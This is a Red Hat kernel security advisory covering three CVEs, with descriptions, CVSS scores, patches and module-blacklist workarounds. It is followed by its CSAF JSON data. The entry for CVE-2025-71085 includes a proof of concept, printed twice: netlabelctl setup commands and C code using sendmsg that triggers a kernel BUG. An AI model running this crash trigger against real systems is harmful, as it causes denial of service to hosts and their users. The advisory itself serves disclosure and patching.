RHSA-2026:5727

Vulnerability from csaf_redhat - Published: 2026-03-25 04:12 - Updated: 2026-03-30 23:24
Summary
Red Hat Security Advisory: kernel security update
Severity
Moderate
Notes
Topic: An update for kernel is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.
Details: The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fix(es): * kernel: Linux kernel: RDMA/rxe use-after-free vulnerability leading to potential arbitrary code execution (CVE-2025-38024) * kernel: sctp: avoid NULL dereference when chunk data buffer is missing (CVE-2025-40240) * kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() (CVE-2025-71085) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
CVE-2025-38024

A flaw was found in the Linux kernel's Remote Direct Memory Access (RDMA) subsystem, specifically within the `rxe` component. This use-after-free vulnerability occurs in the `rxe_create_cq` function. When the `rxe_cq_from_init` function fails, the subsequent call to `rxe_cleanup` attempts to free memory resources that have already been released, leading to memory corruption. A local attacker with high privileges could exploit this flaw to cause a denial of service or potentially achieve arbitrary code execution.

7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H
CWE-825 - Expired Pointer Dereference
Vendor Fix For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 The system must be rebooted for this update to take effect. https://access.redhat.com/errata/RHSA-2026:5727
Workaround To mitigate this issue, prevent the `rxe` kernel module from loading. This can be achieved by creating a blacklist rule. 1. Create a file `/etc/modprobe.d/blacklist-rxe.conf` with the following content: ``` blacklist rxe install rxe /bin/true ``` 2. Rebuild the initial ramdisk: ```bash dracut -f -v ``` 3. Reboot the system for the changes to take effect. Warning: Blacklisting the `rxe` module may impact functionality that relies on Soft RoCE.
CVE-2025-40240

In the Linux kernel, the following vulnerability has been resolved: sctp: avoid NULL dereference when chunk data buffer is missing chunk->skb pointer is dereferenced in the if-block where it's supposed to be NULL only. chunk->skb can only be NULL if chunk->head_skb is not. Check for frag_list instead and do it just before replacing chunk->skb. We're sure that otherwise chunk->skb is non-NULL because of outer if() condition.

7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-476 - NULL Pointer Dereference
Vendor Fix For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 The system must be rebooted for this update to take effect. https://access.redhat.com/errata/RHSA-2026:5727
Workaround To mitigate this issue, prevent module sctp from being loaded. Please see https://access.redhat.com/solutions/41278 for how to blacklist a kernel module to prevent it from loading automatically.
CVE-2025-71085

In the Linux kernel, the following vulnerability has been resolved: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0). The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead. Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom. PoC: Using `netlabelctl` tool: netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7 Then run the following PoC: int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP); // setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0; // setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337; // setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80 sendmsg(fd, &msg, 0);

7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-190 - Integer Overflow or Wraparound
Vendor Fix For details on how to apply this update, which includes the changes described in this advisory, refer to: https://access.redhat.com/articles/11258 The system must be rebooted for this update to take effect. https://access.redhat.com/errata/RHSA-2026:5727
Workaround Mitigation for this issue is either not available or the currently available options don't meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.
References
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      "title": "kernel: Linux kernel: RDMA/rxe use-after-free vulnerability leading to potential arbitrary code execution"
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    {
      "cve": "CVE-2025-40240",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
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          "text": "2418832"
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          "category": "description",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid NULL dereference when chunk data buffer is missing\n\nchunk-\u003eskb pointer is dereferenced in the if-block where it\u0027s supposed\nto be NULL only.\n\nchunk-\u003eskb can only be NULL if chunk-\u003ehead_skb is not. Check for frag_list\ninstead and do it just before replacing chunk-\u003eskb. We\u0027re sure that\notherwise chunk-\u003eskb is non-NULL because of outer if() condition.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "kernel: sctp: avoid NULL dereference when chunk data buffer is missing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "A missing data buffer (frag_list) in SCTP chunk processing could trigger a NULL pointer dereference when handling GSO packets.\nA remote attacker sending a malformed SCTP packet could cause a kernel crash (DoS).\nThe system is vulnerable only if CONFIG_IP_SCTP enabled in Kernel configuration (and for the Red Hat Enterprise Linux it is always disabled in older versions and enabled as module in latest versions only). However even if module exists in Red Hat Enterprise Linux, still admin need to specially enable it usage (make some SCTP listening port available) before exploitation would be possible.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
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    {
      "cve": "CVE-2025-71085",
      "cwe": {
        "id": "CWE-190",
        "name": "Integer Overflow or Wraparound"
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      "discovery_date": "2026-01-13T00:00:00+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2429026"
        }
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      "notes": [
        {
          "category": "description",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = \u0026dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-\u003ecmsg_len = cmsg_len;\n        cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n        cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, \u0026msg, 0);",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This vulnerability allows an unprivileged user to trigger a kernel BUG by causing an integer overflow in the headroom calculation used by skb_cow(), which results in a negative size passed to pskb_expand_head(). The kernel subsequently hits a reachable BUG_ON() and crashes, leading to a reliable denial-of-service condition. In worst-case scenarios, this path may be reachable via crafted IPv6 traffic with CALIPSO options.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
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          "url": "https://www.cve.org/CVERecord?id=CVE-2025-71085"
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          "summary": "https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh/T",
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          "date": "2026-03-25T04:12:26+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\n\nhttps://access.redhat.com/articles/11258\n\nThe system must be rebooted for this update to take effect.",
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        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "kernel: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()"
    }
  ]
}


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Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.